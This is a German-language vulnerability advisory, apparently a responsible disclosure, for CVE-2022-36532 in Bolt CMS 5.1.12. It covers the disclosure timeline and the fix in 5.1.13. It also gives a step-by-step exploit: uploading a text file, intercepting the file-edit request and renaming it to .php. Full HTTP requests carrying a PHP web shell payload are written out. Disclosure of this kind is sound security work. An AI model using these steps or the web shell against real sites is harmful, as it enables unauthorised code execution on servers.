CVE-2022-36532

Bolt CMS - Authentifizierte Remote-Code-Execution

Bolt ist ein auf PHP basierendes Content-Management-System, das eine leichtgewichtige Alternative zu Wordpress darstellt und besonders von Agenturen verwendet wird. Wir konnten in Version 5.1.12 eine Schwachstelle ausfindig machen, die es einem authentifizierten Benutzer mit den ROLE_EDITOR-Rechten ermöglicht, eine Datei hochzuladen und umzubenennen, um Remote-Code-Execution zu erreichen.

Die Sicherheitslücke wurde in der Version 5.1.13 behoben.

Timeline

  • 14.07.2022: Entdeckung der Sicherheitslücke und Weitergabe an das Bolt CMS-Team.
  • 26.08.2022: Die Schwachstelle wurde vom Bolt CMS-Team behoben: Release 5.1.13.
  • 05.09.2022: CVE-ID CVE-2022-36532 zugewiesen.
  • 05.09.2022: Veröffentlichung dieses Artikels.
  • 12.09.2022: Veröffentlichung des Proof-Of-Concept-Skripts.

Wir möchten uns bei @bobdenotter für die schnelle Behebung der Schwachstelle und die insgesamt sehr angenehme Zusammenarbeit bedanken.

Remote-Code-Execution mittels Dateiupload

Um die Schwachstelle auszunutzen und eine Remote-Code-Execution zu erreichen, wird ein Benutzeraccount mit den ROLE_EDITOR Berechtigungen benötigt:

Screenshot von Bolt CMS, der einen Benutzer mit Editor-Rechten zeigt.

Beispielbenutzer mit den Editor-Rechten.

Dateien können innerhalb des CMS unter http://127.0.0.1:8000/bolt/filemanager/files hochgeladen werden. Allerdings sind nur bestimmte Dateierweiterungen wie .png, .svg, .txt, etc. erlaubt.

Screenshot von Bolt CMS, der die Upload-Funktion anzeigt.

Dateiupload-Funktionalität von Bolt.

Zum Beispiel kann eine .txt-Datei mit PHP-Code (<?php $RESULT=7*7; echo $RESULT; ?>) in das Verzeichnis files/ auf dem Server hochgeladen werden und unter http://127.0.0.1:8000/files/poc.txt darauf zugegriffen werden:

Screenshot von Bolt CMS, der die hochgeladene .txt-Datei mit PHP-Code anzeigt.

Hochgeladene .txt-Datei mit PHP-Code.

Da es sich um eine .txt-Datei handelt, wird der darin enthaltene PHP-Code vom Server nicht ausgeführt. Innerhalb des CMS gibt es keine Umbenennungsoption, aber wenn eine Datei bearbeitet wird, kann die HTTP-Anfrage abgefangen und manipuliert werden, um eine Datei umzubenennen. Dies kann ausgenutzt werden, um Remote-Code-Execution zu erreichen:

  1. Die hochgeladene Datei poc.txt kann in Bolt unter http://127.0.0.1:8000/bolt/file-edit/files?file=/poc.txt bearbeitet werden. Da wir die Datei nicht verändern wollen, können wir einfach auf “Save” klicken und die HTTP-Anfrage des Browser abfangen:
POST /bolt/file-edit/files?file=/poc.txt HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 243
...
Cookie: PHPSESSID=brgvh475o4ad65626vcs9ogjak
Connection: close

file=%2Fpoc.txt&location=files&_csrf_token=6f0a099f0e644f9dc.MPpzSbmHem8MICUL6JA_9JIONsNBGEp_15vNFZLnJuU.b78fJc6yTThPUE9T3tULjf1vUbY1TB8yns6eIf-PX69ZiTsNw8wyLHxJaA&editfile=%3C%3Fphp+echo+system%28%24_GET%5B%22cmd%22%5D%29+%3F%3E%0D%0A&save=
  1. Durch Ändern des Query-Parameters file von /poc.txt in /poc.php wird die Datei umbenannt.
POST /bolt/file-edit/files?file=/poc.php HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 243
...
Cookie: PHPSESSID=brgvh475o4ad65626vcs9ogjak
Connection: close

file=%2Fpoc.txt&location=files&_csrf_token=6f0a099f0e644f9dc.MPpzSbmHem8MICUL6JA_9JIONsNBGEp_15vNFZLnJuU.b78fJc6yTThPUE9T3tULjf1vUbY1TB8yns6eIf-PX69ZiTsNw8wyLHxJaA&editfile=%3C%3Fphp+echo+system%28%24_GET%5B%22cmd%22%5D%29+%3F%3E%0D%0A&save=
  1. Nach der Umbenennung der Datei wird der PHP-Code in der hochgeladenen Datei ausgeführt, wenn auf die Datei zugegriffen wird, indem man zu folgender URL navigiert: http://127.0.0.1:8000/files/poc.php.
Screenshot von Bolt CMS, der die Ausgabe des PHP-Codes zeigt

PHP-Code in poc.php wird ausgeführt.

Wir werden ein Proof-Of-Concept-Skript ab dem 12.09.2022 in unserem GitHub-Account unter lutrasecurity/CVE-2022-36532 zur Verfügung stellen, um die Schwachstelle nachvollziehen zu können.

Screenshot des Proof-Of-Concept-Skripts, das den Dateiupload ausnutzt, um CVE-2022-36532 zu verifizieren.

Detektion der Schwachstelle von Bolt CMS <= 5.1.12 mit Hilfe unseres Proof-Of-Concept-Skripts.